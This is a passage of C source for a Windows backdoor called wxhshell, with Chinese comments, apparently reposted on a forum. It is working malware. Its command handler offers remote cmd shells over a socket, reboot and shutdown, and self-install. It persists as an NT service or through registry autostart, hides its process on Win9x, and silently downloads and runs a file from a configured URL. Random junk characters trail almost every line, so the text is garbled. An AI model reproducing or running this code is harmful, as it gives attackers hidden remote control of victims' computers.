  // 帮助 Gs#9'3_U5  
  case '?': { &>-'|(m+2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k4#j l<R  
    break; 8wWp+Hk  
  } #19O5  
  // 安装 #X] *kxQ<  
  case 'i': { xxGm T.&  
    if(Install()) x& _Y( bHA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IB|!51H  
    else kR+}7G+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !>(uhuTBF  
    break; :V(C+bm *  
    } WvU[9ME^)  
  // 卸载 %:C6\4  
  case 'r': { a;$V;3C{b&  
    if(Uninstall()) 2IJniS=[>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o?]Q&,tO  
    else @<DRFP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :%sG'_d  
    break; oDS7do  
    } k3&68+  
  // 显示 wxhshell 所在路径 A8ViJ  
  case 'p': {  +At [[  
    char svExeFile[MAX_PATH]; *6JA&zj0B  
    strcpy(svExeFile,"\n\r"); @ 2hGkJ-  
      strcat(svExeFile,ExeFile); B}qG-}(V  
        send(wsh,svExeFile,strlen(svExeFile),0); jJ"(O-<)D  
    break; rk=/iD  
    } !@!603Gy  
  // 重启 IV~)BW leT  
  case 'b': { R1JD{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~v&Q\>'  
    if(Boot(REBOOT)) B\D)21Ik}%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XK~HfA?  
    else { o4: e1  
    closesocket(wsh); 548L^"D  
    ExitThread(0); /%&5Iq\:vA  
    } ?u CL[  
    break; fFEB#l!oUb  
    } [cDkmRV  
  // 关机 R?{_Q<17  
  case 'd': { tF[) Y#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 86LE )z  
    if(Boot(SHUTDOWN)) 5XT^K)'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z81dm  
    else { ~F@p}u8TV  
    closesocket(wsh); $,Q] GIC  
    ExitThread(0); )fo0YpE^|  
    } HH6n3c!:mm  
    break; cZ%tJ(&\7X  
    } R|@~<*  
  // 获取shell idHI)6!  
  case 's': { o5/BE`VD5c  
    CmdShell(wsh); I_#5gq  
    closesocket(wsh); xd `MEOY  
    ExitThread(0); 3'p 1m`8  
    break; 3LyNi$`f  
  } t=eI*M+>h  
  // 退出 UZsvYy?  
  case 'x': { N_Ezp68Fp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7r:&%?2:g  
    CloseIt(wsh); |FFz $'8)  
    break; FzOWM7+\  
    } ;E{jn4B'  
  // 离开 7Z9'Y?[m  
  case 'q': { ~jJ.E_i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iWWtL  
    closesocket(wsh); ^EN )}:%Z  
    WSACleanup(); L~/L<Ms  
    exit(1); ^$dbyj`  
    break; ElTB{C>u  
        } {tYY _BI<  
  } $S>bcsAy  
  } )cL(()N  
C@;e<  
  // 提示信息 lA4-ZQ2Zp[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .~ uKr^%  
} W.s8!KH:  
  } F6J]T6 Y  
nN.Gn+Cl  
  return; Yt=)=n  
} Bi9Q8#lh  
ObZhQ.&  
// shell模块句柄 RFsUb:%V7-  
int CmdShell(SOCKET sock) q'trd};xR  
{ L!Tvz(_7f6  
STARTUPINFO si; Tei2[siA5  
ZeroMemory(&si,sizeof(si));  7L:Eg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,_$J-F?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `uLr^G=;  
PROCESS_INFORMATION ProcessInfo; WnGi;AGH=1  
char cmdline[]="cmd"; Uufig)6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?zP 2   
  return 0; L[:A Ue  
} [&P @0F n  
PI$i_3N  
// 自身启动模式 yX*$PNL5w  
int StartFromService(void) g :B4zlKG  
{ )^P54_2  
typedef struct 2oc18#iG (  
{ oM>UIDCY_v  
  DWORD ExitStatus; {m3#1iV9  
  DWORD PebBaseAddress; J:'_S `J  
  DWORD AffinityMask; C(h<s e?  
  DWORD BasePriority; i@D4bd9lR  
  ULONG UniqueProcessId; m<#^c?u  
  ULONG InheritedFromUniqueProcessId; atd;)o0*0  
}   PROCESS_BASIC_INFORMATION; G3y8M |:  
]7TOA$Q  
PROCNTQSIP NtQueryInformationProcess; %R?WkG  
&=S:I!9;;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `, ]ui*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; og8hc~:ro  
hMz)l\0  
  HANDLE             hProcess; &2.DZ),L  
  PROCESS_BASIC_INFORMATION pbi; z{ M2tLNb  
K2Ro0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5~UW=   
  if(NULL == hInst ) return 0; ^kC!a>&  
x R$T/]/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [f { qb\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x'?p?u~[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SAitufS  
7l/ZRz }1  
  if (!NtQueryInformationProcess) return 0; p<\!{5:   
Ad,n+%"e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H)S!%(x4  
  if(!hProcess) return 0; B#IUSHC  
&RbP N^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yFeFI@Hp 3  
T(Yp90'6  
  CloseHandle(hProcess); nC[aEZ7  
/9gn)q2f(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8PVjNS/  
if(hProcess==NULL) return 0; !U}2YM J  
f34/whD65  
HMODULE hMod; 9MO=f^f-  
char procName[255]; S,5>/'fy0  
unsigned long cbNeeded; .9Cy<z  
?[.8A/:5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y+),c14#  
C+M]"{Y+  
  CloseHandle(hProcess); zx$1.IM"4  
K/Pw;{}  
if(strstr(procName,"services")) return 1; // 以服务启动 \6MM7x(U3  
4sO Rp^t'Q  
  return 0; // 注册表启动 rp"5176  
} NZZy^p&O  
M:oM(K+  
// 主模块 $kN=45SR  
int StartWxhshell(LPSTR lpCmdLine) =NY55t.  
{ hi$AZ+  
  SOCKET wsl; ^>ir&$  
BOOL val=TRUE; U/A iI;Ne  
  int port=0; \\13n4fAv  
  struct sockaddr_in door; DrioBb@  
G9Kck|50  
  if(wscfg.ws_autoins) Install(); EN[T3 Y  
} LC  
port=atoi(lpCmdLine); (K8Ob3zN_  
![Gn0X?]  
if(port<=0) port=wscfg.ws_port; 'oY#a9~Z{  
0fvOA*UP  
  WSADATA data; S2\;\?]^~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5rbb ,*  
%GY'pQz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   })70S8k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [[^95:  
  door.sin_family = AF_INET; :] U\{;q2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,YvOk|@R  
  door.sin_port = htons(port); +a N8l1  
q1eMK'1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J]Z~.f="  
closesocket(wsl); T\$i=,_$  
return 1; <},JWV3  
} [mjie1j/<  
#| ,cy,v4  
  if(listen(wsl,2) == INVALID_SOCKET) { |LbAW /9a  
closesocket(wsl); ^<-r57pz  
return 1; @q>Hl`a  
} M!i|,S  
  Wxhshell(wsl); \5!7zPc  
  WSACleanup(); NZ i3U  
ToPjB vD  
return 0; "OwVCym?  
a,S;JF)v  
} :8oJG8WH  
~AYleM  
// 以NT服务方式启动 (?t}S.>g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ihwJBN>(  
{ of_y<dd[G  
DWORD   status = 0; ej}S{/<*n  
  DWORD   specificError = 0xfffffff; 2yg6hR  
j:'g*IxM_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YK6'/2!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [yk-<}#B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F{a;=h#@Q  
  serviceStatus.dwWin32ExitCode     = 0; t>?tWSNf  
  serviceStatus.dwServiceSpecificExitCode = 0; *n EkbI/  
  serviceStatus.dwCheckPoint       = 0; x,U_x  
  serviceStatus.dwWaitHint       = 0; E}S%yD[  
51y"#\7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <nqv)g"u0  
  if (hServiceStatusHandle==0) return; mrnPZf i  
s^eiym P  
status = GetLastError(); 7CuZ7!>$  
  if (status!=NO_ERROR) `q<W %'Tb$  
{ :yD>Tn;1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HLwMo&*rA  
    serviceStatus.dwCheckPoint       = 0; r#4/~a5i~  
    serviceStatus.dwWaitHint       = 0; lD3nz<p  
    serviceStatus.dwWin32ExitCode     = status; 37jxl+  
    serviceStatus.dwServiceSpecificExitCode = specificError; :p: C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `wtso  
    return; 77)WNL/ x  
  } RM `qC  
yTd8)zWq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L0!CHP/nRS  
  serviceStatus.dwCheckPoint       = 0; \|{/.R  
  serviceStatus.dwWaitHint       = 0; S$Zi{bU`G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <OGG(dI  
} If,p!L  
Q7XOO3<):  
// 处理NT服务事件,比如:启动、停止 wTa u.Bo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Is7BJ f  
{ w90YlWS#  
switch(fdwControl) J>}J~[ap\J  
{ \/Mx|7<  
case SERVICE_CONTROL_STOP: ,oA<xP-*  
  serviceStatus.dwWin32ExitCode = 0; esnq/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bqAW  
  serviceStatus.dwCheckPoint   = 0; [#q>Aq$11  
  serviceStatus.dwWaitHint     = 0; W~ET/h  
  { (n*:LS=0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p8!T) ?|  
  } A'KH_])  
  return; [rT.k5_  
case SERVICE_CONTROL_PAUSE: [|KvlOvP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?PT> V,&  
  break; @ps(3~?7  
case SERVICE_CONTROL_CONTINUE: {jz`K1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bu]"?bc  
  break; :HO5 T  
case SERVICE_CONTROL_INTERROGATE: z2uL[deN'"  
  break; Fa )QDBz)  
}; pqfX}x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R^*baiXVI  
} }LT&BNZj  
?qaWt/m  
// 标准应用程序主函数 >SK:b/i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (6S'wb  
{  L\PmT  
clB K  
// 获取操作系统版本 ccHf+=  
OsIsNt=GetOsVer(); zOs}v{8"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PVo7Sy!'H  
3O/#^~\'hW  
  // 从命令行安装 l&qnqmW<  
  if(strpbrk(lpCmdLine,"iI")) Install(); y'K2#Y~1e  
Z]]Ur  
  // 下载执行文件 pZ.b X  
if(wscfg.ws_downexe) { CP~ZIIip"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \x}\)m_7M<  
  WinExec(wscfg.ws_filenam,SW_HIDE); IA@>'O  
} (h3L=  
m$W >~  
if(!OsIsNt) { E&P2E3P  
// 如果时win9x,隐藏进程并且设置为注册表启动 4a-JC"  
HideProc(); Vb (b3  
StartWxhshell(lpCmdLine); r0XEB,}  
} Db,"Gl  
else -^xbd_'  
  if(StartFromService()) @x}"aJgl  
  // 以服务方式启动 @&ZQDi  
  StartServiceCtrlDispatcher(DispatchTable); yWi-ic [n  
else DW. w=L|5R  
  // 普通方式启动 RSp wU;o6z  
  StartWxhshell(lpCmdLine); -!j6&  
q<dG}aj  
return 0; SeD}H=,@  
}
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只看该作者 1 发表于: 2006-10-10
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